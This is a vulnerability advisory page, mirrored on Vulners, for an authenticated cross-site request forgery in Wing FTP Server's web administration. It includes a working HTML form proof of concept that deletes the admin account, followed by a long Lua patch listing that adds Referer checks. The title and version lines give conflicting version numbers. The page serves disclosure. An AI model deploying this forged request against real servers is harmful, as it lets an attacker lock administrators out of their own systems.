Lucene search
K

Wing FTP Server 6.2.3 Cross Site Request Forgery

🗓️ 11 Mar 2020 00:00:00Reported by Dhiraj MishraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 134 Views

Wing FTP Server 6.2.3 CSRF Vulnerabilit

Code
`# Exploit Title: Wing FTP Server 6.2.3 - Authenticated Cross Site Request Forgery  
# Date: 2020-03-10  
# Exploit Author: Dhiraj Mishra  
# Vendor Homepage: https://www.wftpserver.com  
# Version: v6.2.6  
# Tested on: Windows 10  
  
*Summary:*  
An authenticated CSRF exists in web client and web administration of Wing  
FTP v6.2.6, a crafted HTML page could delete admin user from the  
application where as administration needs to re-install the program and add  
admin user again. Issue was patched in v6.2.7.  
  
*Proof of concept:*  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://IP:5466/admin_delete_admin.html" method="POST">  
<input type="hidden" name="username" value="admin" />  
<input type="hidden" name="r" value="0.9219583354400562" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
*Patch (lua/cgiadmin.lua):*  
URL: https://www.wftpserver.com/serverhistory.htm  
  
local outfunc = "echo"  
  
local function out (s, i, f)  
s = string.sub(s, i, f or -1)  
if s == "" then return s end  
s = string.gsub(s, "([\\\n\'])", "\\%1")  
s = string.gsub(s, "\r", "\\r")  
return string.format(" %s('%s'); ", outfunc, s)  
end  
  
local function translate (s)  
s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")  
local res = {}  
local start = 1  
while true do  
local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[  
\t]*(=?)(.-)%?%?>", start)  
if not ip then break end  
table.insert(res, out(s, start, ip-1))  
if target ~= "" and target ~= "lua" then  
table.insert(res, out(s, ip, fp))  
else  
if exp == "=" then  
table.insert(res, string.format(" %s(%s);", outfunc, code))  
else  
table.insert(res, string.format(" %s ", code))  
end  
end  
start = fp + 1  
end  
table.insert(res, out(s, start))  
return table.concat(res)  
end  
  
local function compile (src, chunkname)  
return loadstring(translate(src),chunkname)  
end  
  
function include (filename, env)  
if incfiles[filename] == nil then  
incfiles[filename] = true;  
path = c_GetAppPath()  
path = path .. "/webadmin/"..filename  
local errstr = string.format("<b>The page '%s' does not  
exist!</b>",filename)  
local fh,_ = io.open (path)  
if not fh then  
echo_out = echo_out..errstr  
return  
end  
local src = fh:read("*a")  
fh:close()  
local prog = compile(src, path)  
  
local _env  
if env then  
_env = getfenv (prog)  
setfenv (prog, env)  
end  
  
local status,err = pcall(prog)  
if not status then  
if type(err) == "string" and not string.find(err,"exit function!") then  
print(string.format("some error in %s!",err))  
end  
return  
end  
end  
end  
  
function var_dump(var)  
print("{")  
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"  
or type(var) == "function" then  
print(var)  
elseif(type(var) == "thread") then  
print("thread")  
elseif(type(var) == "userdata") then  
print("userdata")  
elseif type(var) == "nil" then  
print("nil")  
elseif type(var) == "table" then  
for k,v in pairs(var) do  
if type(k) == "string" then k="'"..k.."'" end  
if(type(v) == "string") then  
print(k.."=>'"..v.."',")  
elseif(type(v) == "number" or type(v) == "boolean") then  
print(k.."=>"..tostring(v)..",")  
elseif(type(v) == "function") then  
print(k.."=>function,")  
elseif(type(v) == "thread") then  
print(k.."=>thread,")  
elseif(type(v) == "userdata") then  
print(k.."=>userdata,")  
elseif(type(v) == "nil") then  
print(k.."=>nil,")  
elseif(type(v) == "table") then  
print(k.."=>table,")  
else  
print(k.."=>object,")  
end  
end  
else  
print("object")  
end  
print("}")  
end  
  
function init_get()  
local MatchedReferer = true  
if _SESSION_ID ~= nil then  
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")  
if Referer ~= nil and Referer ~= "" then  
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")  
if Host ~= nil and Host ~= "" then  
if string.sub(Referer,8,string.len(Host)+7) == Host or  
string.sub(Referer,9,string.len(Host)+8) == Host then  
MatchedReferer = true  
else  
MatchedReferer = false  
exit()  
end  
end  
else  
MatchedReferer = false  
end  
end  
  
string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",  
function (key, val)  
if key == "domain" then  
if MatchedReferer == true then  
rawset(_GET,key,val)  
else  
rawset(_GET,key,specialhtml_encode(val))  
end  
else  
if MatchedReferer == true then  
rawset(_GET,unescape(key),unescape(val))  
else  
--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))  
end  
end  
end  
)  
end  
  
function init_post()  
local MatchedReferer = true  
if _SESSION_ID ~= nil then  
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")  
if Referer ~= nil and Referer ~= "" then  
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")  
if Host ~= nil and Host ~= "" then  
if string.sub(Referer,8,string.len(Host)+7) == Host or  
string.sub(Referer,9,string.len(Host)+8) == Host then  
MatchedReferer = true  
else  
MatchedReferer = false  
exit()  
end  
end  
else  
MatchedReferer = false  
end  
end  
  
if  
string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")  
then  
string.gsub (strContent,  
"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",  
function (key, val)  
if key == "domain" then  
if MatchedReferer == true then  
rawset(_POST,key,val)  
else  
rawset(_POST,key,specialhtml_encode(val))  
end  
else  
if MatchedReferer == true then  
rawset(_POST,unescape(key),unescape(val))  
else  
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))  
end  
end  
end  
)  
else  
string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",  
function (key, val)  
if key == "domain" then  
if MatchedReferer == true then  
rawset(_POST,key,val)  
else  
rawset(_POST,key,specialhtml_encode(val))  
end  
else  
if MatchedReferer == true then  
rawset(_POST,unescape(key),unescape(val))  
else  
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))  
end  
end  
end  
)  
end  
end  
  
function init_session()  
if _COOKIE["UIDADMIN"] ~= nil then  
_SESSION_ID = _COOKIE["UIDADMIN"]  
SessionModule.load(_SESSION_ID)  
end  
end  
  
function init_cookie()  
local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")  
if cookiestr == nil or cookiestr == "" then return end  
string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?",  
function (key, val)  
rawset(_COOKIE,unescape(key),unescape(val))  
end  
)  
end  
  
function setcookie(name,value,expire_secs)  
if name == "UIDADMIN" then return end  
local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",  
os.time()+3600*24*365)  
_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";  
expires="..expiretime.."\r\n"  
rawset(_COOKIE,name,value)  
end  
  
function getcookie(name)  
if name == "UIDADMIN" then return end  
return _COOKIE[name]  
end  
  
function deletecookie(name)  
setcookie(name,"",-10000000)  
end  
  
function deleteallcookies()  
for name,_ in pairs(_COOKIE) do  
deletecookie(name)  
end  
end  
  
local cookie_metatable =  
{  
__newindex = function(t,k,v)  
setcookie(k,v,360000)  
end  
}  
setmetatable(_COOKIE,cookie_metatable)  
  
session_metatable =  
{  
__newindex = function(t,k,v)  
if type(v) ~= "table" then  
if k ~= nil then  
k = string.gsub(k,"'","")  
k = string.gsub(k,"\"","")  
end  
if v ~= nil then  
--v = string.gsub(v,"%[","")  
--v = string.gsub(v,"%]","")  
end  
rawset(_SESSION,k,v)  
SessionModule.save(_SESSION_ID)  
end  
end  
}  
--setmetatable(_SESSION,session_metatable)  
  
function init_all()  
init_cookie()  
init_session()  
init_get()  
init_post()  
end  
  
function setContentType(typestr)  
_CONTENTTYPE = typestr  
end  
  
function exit()  
error("exit function!")  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Mar 2020 00:00Current
0.2Low risk
Vulners AI Score0.2
134